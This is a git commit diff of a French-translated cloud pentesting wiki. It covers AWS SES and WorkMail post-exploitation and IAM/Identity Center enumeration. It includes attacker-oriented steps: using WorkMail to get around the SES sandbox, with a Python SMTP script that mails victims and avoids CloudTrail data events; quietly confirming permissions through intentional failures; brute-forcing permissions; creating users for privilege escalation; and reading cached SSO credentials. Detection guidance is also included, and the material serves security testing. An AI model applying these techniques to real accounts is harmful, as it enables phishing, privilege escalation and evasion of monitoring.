Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2026-02-12 12:47:35 +00:00
parent fb94a5fa79
commit 512042865f
3 changed files with 143 additions and 43 deletions
@@ -1,4 +1,4 @@
# AWS - SES Post Exploitation
# AWS - SES Post-exploitation
{{#include ../../../../banners/hacktricks-training.md}}
@@ -51,7 +51,7 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
```
### `ses:SendBounce`
Envoyer un **message de rebond** sur un e-mail reçu (indiquant que l'e-mail n'a pas pu être reçu). Cela ne peut être fait que **jusqu'à 24h après la réception** de l'e-mail.
Envoyer un **e-mail de rebond** sur un e-mail reçu (indiquant que l'e-mail n'a pas pu être reçu). Cela ne peut être fait **que jusqu'à 24h après la réception** de l'e-mail.
```bash
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
```
@@ -59,11 +59,23 @@ Encore à tester.
### `ses:SendCustomVerificationEmail`
Cela enverra un e-mail de vérification personnalisé. Vous pourriez également avoir besoin d'autorisations pour créer le modèle d'e-mail.
Ceci enverra un email de vérification personnalisé. Il se peut que vous ayez également besoin des autorisations pour créer le modèle d'email.
```bash
aws ses send-custom-verification-email --email-address <value> --template-name <value>
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
```
À tester.
Encore à tester.
## WorkMail pivot pour contourner le sandbox SES
Lorsque `ses:GetAccount` indique que le compte est toujours dans le SES sandbox et que `ses:ListIdentities` ne renvoie aucun expéditeur vérifié, les attaquants peuvent **pivot to WorkMail** pour envoyer immédiatement (pas de sandbox et quotas par défaut plus élevés) en créant des organisations, en vérifiant des domaines et en enregistrant des boîtes aux lettres.
{{#ref}}
../aws-workmail-post-exploitation/README.md
{{#endref}}
## Références
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,76 @@
# AWS - WorkMail Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Abuser WorkMail pour contourner le sandbox de SES
Même si SES est bloqué dans le **sandbox** (destinataires vérifiés uniquement, ~200 msgs/24h, 1 msg/s), WorkMail n'a pas de restriction équivalente. Un attaquant disposant de clés à long terme peut déployer une infra mail jetable et commencer à envoyer immédiatement :
1. **Créer une organisation WorkMail (limitée par région)**
```bash
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
```
2. **Vérifier des domaines contrôlés par l'attaquant** (WorkMail invoque les APIs SES en tant que `workmail.amazonaws.com`):
```bash
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
```
3. **Créer des utilisateurs de boîte mail** et les enregistrer :
```bash
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com
```
Notes :
- Plafond par défaut de destinataires documenté par AWS : **100,000 destinataires externes/jour par org** (agrégés entre les utilisateurs).
- L'activité de vérification de domaine apparaîtra dans CloudTrail sous SES mais avec **`invokedBy`: `workmail.<region>.amazonaws.com`**, donc les événements de vérification SES peuvent appartenir à une configuration WorkMail plutôt qu'à des campagnes SES.
- Les utilisateurs de boîte mail WorkMail deviennent une **application-layer persistence** indépendante des utilisateurs IAM.
## Chemins d'envoi et lacunes de télémétrie
### Client Web (WorkMail UI)
- Les envois apparaissent comme des événements **`ses:SendRawEmail`** dans CloudTrail.
- `userIdentity.type` = `AWSService`, `invokedBy/sourceIPAddress/userAgent` = `workmail.<region>.amazonaws.com`, donc la **vraie IP client est masquée**.
- `requestParameters` leak toujours l'expéditeur (`source`, `fromArn`, `sourceArn`, configuration set) pour corréler avec les domaines/boîtes mail nouvellement vérifiés.
### SMTP (le plus furtif)
- Point de terminaison : `smtp.mail.<region>.awsapps.com:465` (SMTP over SSL) avec le mot de passe de la boîte mail.
- **Aucun événement de données CloudTrail** n'est généré pour la livraison SMTP, même lorsque les événements de données SES sont activés.
- Les points de détection idéaux sont le provisionnement d'org/domain/user et les ARNs d'identité SES référencés dans les événements `SendRawEmail` envoyés via le web.
<details>
<summary>Exemple d'envoi SMTP via WorkMail</summary>
```python
import smtplib
from email.message import EmailMessage
SMTP_SERVER = "smtp.mail.us-east-1.awsapps.com"
SMTP_PORT = 465
EMAIL_ADDRESS = "marketing@attacker-domain.com"
EMAIL_PASSWORD = "SuperSecretPassword!"
target = "victim@example.com" # can be unverified/external
msg = EmailMessage()
msg["Subject"] = "WorkMail SMTP"
msg["From"] = EMAIL_ADDRESS
msg["To"] = target
msg.set_content("Delivered via WorkMail SMTP")
with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp:
smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
smtp.send_message(msg)
```
</details>
## Considérations de détection
- Si WorkMail n'est pas nécessaire, bloquez-le via des **SCPs** (`workmail:*` deny) au niveau de l'organisation.
- Alerter lors du provisionnement : `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, et les vérifications SES avec `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Surveillez les événements **`ses:SendRawEmail`** anormaux où les ARNs d'identité référencent de nouveaux domaines et où l'IP source/UA est égale à `workmail.<region>.amazonaws.com`.
## Références
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# AWS - IAM, Identity Center & SSO Enum
# AWS - IAM, Identity Center & SSO Énumération
{{#include ../../../banners/hacktricks-training.md}}
## IAM
Vous pouvez trouver une **description de IAM** dans :
Vous pouvez trouver une **description d'IAM** dans :
{{#ref}}
../aws-basic-information/
@@ -12,9 +12,9 @@ Vous pouvez trouver une **description de IAM** dans :
### Énumération
Permissions principales nécessaires :
Permissions principales requises :
- `iam:ListPolicies`, `iam:GetPolicy` et `iam:GetPolicyVersion`
- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion`
- `iam:ListRoles`
- `iam:ListUsers`
- `iam:ListGroups`
@@ -22,9 +22,9 @@ Permissions principales nécessaires :
- `iam:ListAttachedUserPolicies`
- `iam:ListAttachedRolePolicies`
- `iam:ListAttachedGroupPolicies`
- `iam:ListUserPolicies` et `iam:GetUserPolicy`
- `iam:ListGroupPolicies` et `iam:GetGroupPolicy`
- `iam:ListRolePolicies` et `iam:GetRolePolicy`
- `iam:ListUserPolicies` and `iam:GetUserPolicy`
- `iam:ListGroupPolicies` and `iam:GetGroupPolicy`
- `iam:ListRolePolicies` and `iam:GetRolePolicy`
```bash
# All IAMs
## Retrieves information about all IAM users, groups, roles, and policies
@@ -88,37 +88,49 @@ aws iam get-account-password-policy
aws iam list-mfa-devices
aws iam list-virtual-mfa-devices
```
### Confirmation furtive des permissions via des échecs intentionnels
Lorsque `List*` ou les API du simulateur sont bloquées, vous pouvez **confirmer les permissions de modification sans créer de ressources durables** en provoquant des erreurs de validation prévisibles. AWS évalue toujours IAM avant de renvoyer ces erreurs, donc l'apparition de l'erreur prouve que l'appelant est autorisé à exécuter l'action :
```bash
# Confirm iam:CreateUser without creating a new principal (fails only after authz)
aws iam create-user --user-name <existing_user> # -> EntityAlreadyExistsException
# Confirm iam:CreateLoginProfile while learning password policy requirements
aws iam create-login-profile --user-name <target_user> --password lower --password-reset-required # -> PasswordPolicyViolationException
```
Ces tentatives génèrent toujours des événements CloudTrail (avec `errorCode` défini) mais évitent de laisser de nouveaux artefacts IAM, ce qui les rend utiles pour une **validation discrète des permissions** pendant l'interactive recon.
### Permissions Brute Force
Si vous êtes intéressé par vos propres permissions mais que vous n'avez pas accès pour interroger IAM, vous pouvez toujours les forcer par brute force.
Si vous êtes intéressé par vos propres permissions mais que vous n'avez pas accès pour interroger IAM, vous pouvez toujours effectuer un brute-force.
#### bf-aws-permissions
L'outil [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) est simplement un script bash qui exécutera, en utilisant le profil indiqué, toutes les actions **`list*`, `describe*`, `get*`** qu'il peut trouver en utilisant les messages d'aide de `aws` cli et **retournera les exécutions réussies**.
L'outil [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) est simplement un script bash qui exécutera, en utilisant le profile indiqué, toutes les actions **`list*`, `describe*`, `get*`** qu'il peut trouver en se basant sur les messages d'aide du `aws` cli et **retournera les exécutions réussies**.
```bash
# Bruteforce permissions
bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt
```
#### bf-aws-perms-simulate
L'outil [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) peut trouver vos autorisations actuelles (ou celles d'autres principaux) si vous avez l'autorisation **`iam:SimulatePrincipalPolicy`**
L'outil [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) peut trouver vos permissions actuelles (ou celles d'autres principals) si vous disposez de l'autorisation **`iam:SimulatePrincipalPolicy`**
```bash
# Ask for permissions
python3 aws_permissions_checker.py --profile <AWS_PROFILE> [--arn <USER_ARN>]
```
#### Perms2ManagedPolicies
Si vous avez trouvé **certaines autorisations que votre utilisateur possède**, et que vous pensez qu'elles sont accordées par un **rôle AWS géré** (et non par un rôle personnalisé). Vous pouvez utiliser l'outil [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) pour vérifier tous les **rôles gérés par AWS qui accordent les autorisations que vous avez découvertes**.
Si vous avez trouvé **certaines permissions dont dispose votre utilisateur**, et que vous pensez qu'elles sont accordées par un **managed AWS role** (et non par un rôle personnalisé). Vous pouvez utiliser l'outil [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) pour vérifier tous les **AWS managed roles** qui accordent les permissions que vous avez découvertes.
```bash
# Run example with my profile
python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt
```
> [!WARNING]
> Il est possible de "savoir" si les autorisations que vous avez sont accordées par un rôle géré par AWS si vous voyez que **vous avez des autorisations sur des services qui ne sont pas utilisés** par exemple.
> Il est possible de "savoir" si les permissions dont vous disposez sont accordées par un rôle géré par AWS si vous constatez, par exemple, que **vous avez des permissions sur des services qui ne sont pas utilisés**.
#### Cloudtrail2IAM
[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) est un outil Python qui analyse **les journaux AWS CloudTrail pour extraire et résumer les actions** effectuées par tout le monde ou juste un utilisateur ou rôle spécifique. L'outil va **analyser chaque journal cloudtrail du bucket indiqué**.
[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) est un outil Python qui analyse les **logs AWS CloudTrail pour extraire et résumer les actions** effectuées par tout le monde ou juste un utilisateur ou rôle spécifique. L'outil va **parser chaque cloudtrail log depuis le bucket indiqué**.
```bash
git clone https://github.com/carlospolop/Cloudtrail2IAM
cd Cloudtrail2IAM
@@ -126,16 +138,16 @@ pip install -r requirements.txt
python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS]
```
> [!WARNING]
> Si vous trouvez des fichiers .tfstate (fichiers d'état Terraform) ou des fichiers CloudFormation (ce sont généralement des fichiers yaml situés dans un bucket avec le préfixe cf-templates), vous pouvez également les lire pour trouver la configuration aws et découvrir quelles permissions ont été attribuées à qui.
> Si vous trouvez des .tfstate (Terraform state files) ou des fichiers CloudFormation (ce sont généralement des fichiers yaml situés dans un bucket avec le préfixe cf-templates), vous pouvez également les lire pour trouver la configuration aws et découvrir quelles autorisations ont été attribuées à qui.
#### enumerate-iam
Pour utiliser l'outil [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), vous devez d'abord télécharger tous les points de terminaison API AWS, à partir desquels le script **`generate_bruteforce_tests.py`** obtiendra tous les **points de terminaison "list\_", "describe\_" et "get\_"**. Et enfin, il essaiera de **y accéder** avec les identifiants fournis et **indiquera si cela a fonctionné**.
To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**.
(D'après mon expérience, l'**outil se bloque à un moment donné**, [**consultez cette correction**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) pour essayer de résoudre ce problème).
(D'après mon expérience l'outil se bloque à un moment donné, [checkout this fix](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) pour essayer de corriger cela).
> [!WARNING]
> D'après mon expérience, cet outil est comme le précédent mais fonctionne moins bien et vérifie moins de permissions.
> D'après mon expérience cet outil est comme le précédent mais fonctionne moins bien et vérifie moins d'autorisations
```bash
# Install tool
git clone git@github.com:andresriancho/enumerate-iam.git
@@ -154,7 +166,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess
```
#### weirdAAL
Vous pouvez également utiliser l'outil [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Cet outil vérifiera **plusieurs opérations courantes sur plusieurs services courants** (il vérifiera certaines autorisations d'énumération et également certaines autorisations de privesc). Mais il ne vérifiera que les vérifications codées (la seule façon de vérifier plus de choses est de coder plus de tests).
Vous pouvez également utiliser l'outil [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Cet outil vérifiera **plusieurs opérations courantes sur plusieurs services courants** (il vérifiera certaines permissions d'enumeration et aussi certaines permissions privesc). Mais il ne fera que les vérifications codées (le seul moyen d'en effectuer d'autres est de coder plus de tests).
```bash
# Install
git clone https://github.com/carnal0wnage/weirdAAL.git
@@ -178,7 +190,7 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions
# [+] elbv2 Actions allowed are [+]
# ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups']
```
#### Outils de durcissement pour BF permissions
#### Outils de durcissement pour les permissions BF
{{#tabs }}
{{#tab name="CloudSploit" }}
@@ -208,7 +220,7 @@ steampipe dashboard
#### \<YourTool>
Aucun des outils précédents n'est capable de vérifier presque toutes les autorisations, donc si vous connaissez un meilleur outil, envoyez une PR !
Aucun des outils précédents n'est capable de vérifier la quasi-totalité des permissions, donc si vous connaissez un meilleur outil, envoyez un PR !
### Accès non authentifié
@@ -218,33 +230,33 @@ Aucun des outils précédents n'est capable de vérifier presque toutes les auto
### Escalade de privilèges
Dans la page suivante, vous pouvez vérifier comment **abuser des autorisations IAM pour escalader les privilèges** :
Sur la page suivante, vous pouvez voir comment **abuser des permissions IAM pour escalader les privilèges** :
{{#ref}}
../aws-privilege-escalation/aws-iam-privesc/README.md
{{#endref}}
### Post-exploitation IAM
### IAM Post Exploitation
{{#ref}}
../aws-post-exploitation/aws-iam-post-exploitation/README.md
{{#endref}}
### Persistance IAM
### IAM Persistence
{{#ref}}
../aws-persistence/aws-iam-persistence/README.md
{{#endref}}
## Centre d'identité IAM
## IAM Identity Center
Vous pouvez trouver une **description du Centre d'identité IAM** dans :
Vous pouvez trouver une **description de IAM Identity Center** dans :
{{#ref}}
../aws-basic-information/
{{#endref}}
### Connexion via SSO avec CLI
### Se connecter via SSO avec CLI
```bash
# Connect with sso via CLI aws configure sso
aws configure sso
@@ -257,16 +269,16 @@ sso_region = us-east-1
```
### Énumération
Les principaux éléments du Centre d'identité sont :
Les éléments principaux de l'Identity Center sont :
- Utilisateurs et groupes
- Ensembles de permissions : ont des politiques attachées
- Comptes AWS
- Permission Sets : ont des policies attachées
- AWS Accounts
Ensuite, des relations sont créées afin que les utilisateurs/groupes aient des ensembles de permissions sur le compte AWS.
Ensuite, des relations sont créées pour que les utilisateurs/groupes disposent de Permission Sets sur des AWS Accounts.
> [!NOTE]
> Notez qu'il existe 3 façons d'attacher des politiques à un ensemble de permissions. Attacher des politiques gérées par AWS, des politiques gérées par le client (ces politiques doivent être créées dans tous les comptes que l'ensemble de permissions affecte), et des politiques en ligne (définies ici).
> Notez qu'il existe 3 manières d'attacher des policies à un Permission Set. Attacher des AWS managed policies, des Customer managed policies (ces policies doivent être créées dans tous les accounts que le Permission Set affecte), et des inline policies (définies à l'intérieur).
```bash
# Check if IAM Identity Center is used
aws sso-admin list-instances
@@ -327,9 +339,9 @@ aws sso login --profile my-sso-profile
# Use dependent-profile
aws s3 ls --profile dependent-profile
```
Lorsque un **profil SSO est utilisé** pour accéder à certaines informations, les identifiants sont **mis en cache** dans un fichier à l'intérieur du dossier **`$HOME/.aws/sso/cache`**. Par conséquent, ils peuvent être **lus et utilisés à partir de **.
Lorsqu'un **profil SSO est utilisé** pour accéder à certaines informations, les identifiants sont **mis en cache** dans un fichier à l'intérieur du dossier **`$HOME/.aws/sso/cache`**. Ils peuvent donc être **lus et utilisés à partir de cet emplacement**.
De plus, **d'autres identifiants** peuvent être stockés dans le dossier **`$HOME/.aws/cli/cache`**. Ce répertoire de cache est principalement utilisé lorsque vous **travaillez avec des profils AWS CLI** qui utilisent des identifiants d'utilisateur IAM ou **assument** des rôles via IAM (sans SSO). Exemple de configuration :
De plus, **d'autres identifiants** peuvent être stockés dans le dossier **`$HOME/.aws/cli/cache`**. Ce répertoire de cache est principalement utilisé lorsque vous travaillez avec des profils AWS CLI qui utilisent des identifiants d'utilisateur IAM ou assume roles via IAM (sans SSO). Exemple de configuration:
```ini
[profile crossaccountrole]
role_arn = arn:aws:iam::234567890123:role/SomeRole
@@ -343,7 +355,7 @@ external_id = 123456
../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
{{#endref}}
### Escalade de privilèges
### Élévation de privilèges
{{#ref}}
../aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
@@ -363,10 +375,10 @@ external_id = 123456
aws identitystore create-user --identity-store-id <store-id> --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc
## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password
```
- Créez un groupe et attribuez-lui des autorisations et définissez un utilisateur contrôlé dessus
- Donnez des autorisations supplémentaires à un utilisateur ou groupe contrôlé
- Par défaut, seuls les utilisateurs ayant des autorisations du compte de gestion pourront accéder et contrôler le IAM Identity Center.
- Créer un groupe, lui attribuer des permissions et y affecter un utilisateur contrôlé
- Accorder des permissions supplémentaires à un utilisateur contrôlé ou à un groupe
- Par défaut, seuls les utilisateurs disposant de permissions du Management Account pourront accéder et contrôler l'IAM Identity Center.
Cependant, il est possible via Delegate Administrator de permettre à des utilisateurs d'un compte différent de le gérer. Ils n'auront pas exactement les mêmes autorisations, mais ils pourront effectuer des [**activités de gestion**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
Cependant, il est possible, via Delegate Administrator, d'autoriser des utilisateurs d'un autre compte à le gérer. Ils n'auront pas exactement les mêmes permissions, mais ils pourront effectuer [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
{{#include ../../../banners/hacktricks-training.md}}